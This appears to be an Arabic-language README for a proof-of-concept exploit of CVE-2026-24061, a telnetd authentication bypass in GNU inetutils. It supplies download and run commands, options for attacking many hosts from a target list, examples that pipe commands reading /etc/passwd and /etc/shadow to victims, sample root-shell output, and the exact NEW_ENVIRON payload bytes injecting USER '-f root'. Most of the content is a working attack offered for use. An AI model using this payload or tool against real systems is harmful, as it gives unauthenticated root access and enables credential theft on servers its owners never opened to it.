
إثبات المفهوم: CVE-2026-24061 هو ثغرة حرجة لتجاوز المصادقة في GNU inetutils-telnetd تسمح للمهاجمين عن بُعد غير المصادق عليهم بالحصول على وصول فوري إلى شل الجذر عبر استغلال خيار telnet الضار NEW_ENVIRON.
أداة بحث أمني لاستغلال CVE-2026-24061، وهي ثغرة حرجة في تجاوز المصادقة عن بُعد في GNU inetutils-telnetd تسمح بالحصول الفوري على صلاحيات shell الجذرية دون مصادقة.
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-24061 |
| درجة CVSS v3.1 | 9.8 (حرجة) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| تصنيف CWE | CWE-88: تحييد غير صحيح لمحددات الوسائط في أمر |
| البائع | مشروع GNU |
| المنتج | inetutils-telnetd |
| تاريخ الإفصاح | 20 يناير 2026 |
| التصحيح المتاح | سيُحدد لاحقًا (TBD) |
توجد ثغرة حرجة في GNU inetutils-telnetd حتى الإصدار 2.7 تسمح للمهاجمين عن بُعد غير المصادَق عليهم بتجاوز المصادقة بالكامل والحصول فورًا على صلاحيات shell الجذرية. تُستغل الثغرة عبر خيار telnet الجديد NEW_ENVIRON عن طريق حقن متغير بيئة USER مُصمم خصيصًا بالقيمة "-f root"، مما يتجاوز جميع آليات المصادقة.
| نطاق الإصدار | الحالة |
|---|---|
| <= 2.7 | معرض للخطر |
| > 2.7 | حالة التصحيح غير محددة |
تنشأ الثغرة من التحقق غير السليم من متغير البيئة USER في معالج خيار NEW_ENVIRON في telnetd. عند معالجة خيار telnet الجديد NEW_ENVIRON، تفشل خدمة telnetd في تنظيف قيمة متغير USER قبل تمريرها إلى عملية تسجيل الدخول. من خلال تعيين USER إلى "-f root"، يحقن المهاجم وسائط سطر أوامر تُجبر المصادقة على النجاح لمستخدم الجذر دون الحاجة إلى بيانات اعتماد.
جميع التبعيات جزء من المكتبة القياسية للغة بايثون:
| الحزمة | الغرض |
|---|---|
| socket | الاتصال الشبكي |
| select | تعدد الإرسال (I/O multiplexing) |
| sys | التفاعل مع النظام |
| os | واجهة نظام التشغيل |
| threading | استغلال متزامن للأهداف |
| datetime | تنسيق الطوابع الزمنية |
# Clone the repository
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# Run the exploit
python3 main.py -u <target_ip>
# Download the exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# Make it executable (Linux/macOS)
chmod +x main.py
# Run the exploit
python3 main.py -u <target_ip>
# Ensure Python 3.7+ is installed
python3 --version
# Download and run
python3 main.py -u <target_ip>
Usage:
python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
echo "commands" | python3 main.py -u <target_ip>
Arguments:
-u Single target IP address or hostname
-l Path to file containing target IPs (one per line)
-p Target port (default: 23)
-usr User to exploit as (default: root)
استغلال مثيل telnetd واحد:
# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100
# Custom port
python3 main.py -u 192.168.1.100 -p 2323
# Different user
python3 main.py -u 192.168.1.100 -usr admin
تنفيذ الأوامر دون تفاعل:
# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
استغلال أهداف متعددة من ملف:
python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin
تنسيق ملف الأهداف (targets.txt):
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
ملاحظات:
| المؤشر | اللون | الوصف |
|---|---|---|
[SUCCESS] | أخضر | تم الاتصال بالهدف بنجاح |
[EXPLOIT] | أخضر | تم إرسال حمولة الاستغلال بنجاح |
[INFO] | أزرق | رسالة إعلامية حول العملية الحالية |
[ERROR] | أحمر | فشل الاتصال أو انتهاء المهلة أو خطأ في الاستغلال |
[WARNING] | أصفر | رسالة تحذيرية (غير مستخدمة حاليًا) |
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
يستغل هذا النص البرمجي مرحلة التفاوض على بروتوكول telnet:
# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39
payload = bytes([
255, # IAC
250, # SB
39, # NEW_ENVIRON
0, # IS
0, # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
255, # IAC
240 # SE
])